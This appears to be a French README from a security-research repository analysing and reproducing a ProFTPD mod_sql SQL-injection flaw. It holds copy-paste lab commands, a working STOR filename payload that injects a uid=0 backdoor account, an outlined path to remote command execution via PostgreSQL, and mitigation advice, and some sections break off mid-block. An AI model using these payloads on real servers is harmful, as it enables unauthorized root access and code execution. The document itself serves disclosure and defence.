Le contrôle est purement structurel — il ne peut pas distinguer *« déjà échappé par
un code de confiance »* de *« conçu par un attaquant pour sembler déjà échappé ».*
Toute valeur fournie par le client correspondant à `'<no-internal-quotes>'` contourne
`sql_escapestring` et est concaténée brute dans la requête finale.

La configuration standard et documentée encapsule `%U` / `%{basename}` / `%m` entre guillemets simples :```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

- Les deux conteneurs se lancent via `setup/docker-compose.yml`.
- `setup/proftpd.conf` active la configuration de journalisation vulnérable (voir §1).
- `setup/seed.sql` crée `users`, `groups`, `activity_log`, `xfer_log`,
  et `secrets`, ainsi qu'un unique utilisateur FTP légitime `ftpuser / ftppass`.

---

## 3. Reproduction — copier-coller

Prérequis : Docker Desktop, Python 3.10+, git. (`uv` est facultatif ; les
PoC n'utilisent que la bibliothèque standard.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

Pourquoi cela fonctionne :

1. Les **guillemets externes + absence de guillemets internes** correspondent à
   `is_escaped_text()` → l'échappement est ignoré.
2. Le `SQLNamedQuery` configuré est `INSERT "'%U', '%r', '%m'" activity_log`,
   donc le SQL rendu devient
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — mais
   `<payload>` commence lui-même par `'`, donc la requête effective est
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` commente les emplacements de format de fin.
4. Le dollar-quoting PostgreSQL `$$…$$` nous permet de passer des chaînes (`backdoor`,
   `pwned123`, `/`, `/bin/bash`) sans jamais utiliser `'` — préservant ainsi la
   contournement de `is_escaped_text()`.
5. `SQLLog ERR_*` se déclenche lors de l'échec de connexion → `PQexec()` exécute l'
   `INSERT INTO users` empilé → le compte backdoor existe dans la table d'authentification.

### Backdoor post-authentification (nom de fichier `STOR`, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

Où `<shell-cmd>` est n'importe quelle commande. PostgreSQL l'exécute via `/bin/sh`
sur l'hôte de la **base de données** en tant qu'utilisateur OS `postgres`. Nécessite que le rôle DB
utilisé par `mod_sql` soit un superutilisateur (ou membre de
`pg_execute_server_program`) — courant dans les déploiements mono-tenant et
par défaut pour l'image Docker officielle `postgres` lorsque le rôle est
créé via `POSTGRES_USER`.

---

## 5. Preuves capturées lors de la reproduction

| Fichier | Ce qu'il montre |
|---|---|
| `logs/01_preauth_backdoor.log` | Sortie du PoC pré-authentification, connexion en tant que `backdoor` réussie (`230`) |
| `logs/02_db_users_after.log` | La table `users` contient désormais `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Sortie du PoC post-authentification via STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Payload marqueur envoyé via FTP |
| `logs/06_users_final.log` | État final de la table `users` |
| `logs/07_proftpd_trace.log` | Journal de trace de ProFTPD affichant `text '…' is already escaped, skipping escaping it again` pour chaque payload injecté — preuve directe que `is_escaped_text()` renvoie TRUE sur une entrée attaquant |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` écrit *par l'utilisateur postgres* sur le conteneur postgres |
| `screenshots/*.png` | Rendu PNG de chaque session terminale capturée |

La ligne du journal de trace est la preuve irréfutable :```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again

## 8. Est-ce réaliste — ou un cas limite artificiel ?

La réponse honnête : **plus étroit qu'un ver « envoyer un paquet et posséder le serveur », mais le schéma vulnérable figure dans la propre documentation de ProFTPD, donc ce n'est pas artificiel.** Trois dimensions indépendantes déterminent si un déploiement donné est touché, et chacune réduit la population.

### 8.1 `mod_sql` est-il même chargé ?

`mod_sql` est optionnel. Il n'est **pas** dans la compilation par défaut de ProFTPD ni dans la configuration par défaut des paquets de distribution comme `proftpd-basic` de Debian. Vous ne l'avez que si :

- Vous avez compilé avec `--with-modules=mod_sql:mod_sql_<backend>`, ou
- Vous avez installé un paquet spécifique au backend : Debian `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` / `proftpd-mysql`.

Les gens installent ces paquets pour une raison claire : l'**authentification** basée sur SQL (des utilisateurs dans une base de données au lieu de `/etc/passwd`) ou la **journalisation d'activité** basée sur SQL pour l'audit. Les deux sont courantes dans les déploiements d'hébergement mutualisé, de FTP géré et de dépôts FTP d'entreprise. Donc `mod_sql` représente une part réelle de la base installée — juste pas « chaque serveur ».

### 8.2 Le schéma vulnérable `SQLNamedQuery` est-il réellement utilisé ?

C'est là que le réalisme est le plus élevé. Le schéma qui déclenche le bug *est celui documenté.* Des exemples extraits directement de l'arborescence en amont au commit vulnérable épinglé :```
# doc/contrib/mod_sql.html  ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload

---

## 10. Recommandation

Pour toute personne exécutant ProFTPD `mod_sql` :

- **Mettez à niveau** vers ≥ 1.3.9a dans tous les cas. C'est la seule correction complète.
- **Contrôles compensatoires** en attendant de pouvoir appliquer le correctif :
  - Rétrogradez le rôle de la base de données à **non-superutilisateur** — cela neutralise la branche RCE sur PostgreSQL.
  - Auditez votre table `users` / d'authentification pour détecter des lignes `uid=0` orphelines ou des comptes récemment ajoutés — voir §6.
  - Activez `Trace sql:17` et recherchez
    `is already escaped, skipping escaping it again` dans `trace.log` — cette
    ligne est une preuve directe d'une tentative de contournement.
  - Si possible, supprimez les directives `SQLLog ERR_*` et tout
    format `SQLNamedQuery INSERT` qui interpolent `%U` (la primitive
    pré-authentification). Le chemin post-authentification existera toujours via `%u` /
    `%{basename}`, mais vous éliminez le pire des cas.

---

## 11. En résumé

- Ce n'est **pas** une « vulnérabilité d'installation par défaut » — vous devez
  exécuter `mod_sql`.
- C'est **bien** une « vulnérabilité liée au suivi de la documentation » — le modèle
  de citation dangereux est celui officiel, copié-collé dans les HOWTO en amont.
- Le scénario **totalement non authentifié** du titre est réel mais
  nécessite une combinaison de configuration spécifique (pré-auth `%U` + `SQLLog ERR_*` générique)
  moins courante que le chemin post-authentification.
- Le scénario d'**élévation de privilèges post-authentification** (tout utilisateur FTP → backdoor FTP uid=0)
  est de loin le plus réaliste et s'applique à une grande
  partie des déploiements `mod_sql` + PostgreSQL/SQLite utilisant les
  modèles de journalisation documentés.
- La **RCE au niveau du système d'exploitation sur l'hôte de la base de données** dépend du rôle de la base de données étant un
  superutilisateur — courant dans les configurations mono-tenant / de type appliance, moins
  courant dans les environnements gérés par un DBA.

---

## Crédits

- Vulnérabilité découverte et initialement divulguée par
  [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Dépôt PoC public :
  [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Correctif par TJ Saunders, commit
  [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
  (« Issue #2052 »).

Ce dépôt est une reproduction et une analyse indépendantes à des fins de
recherche défensive et d'éducation. Aucun 0-day. Utilisez-le uniquement sur des systèmes que vous êtes autorisé
à tester.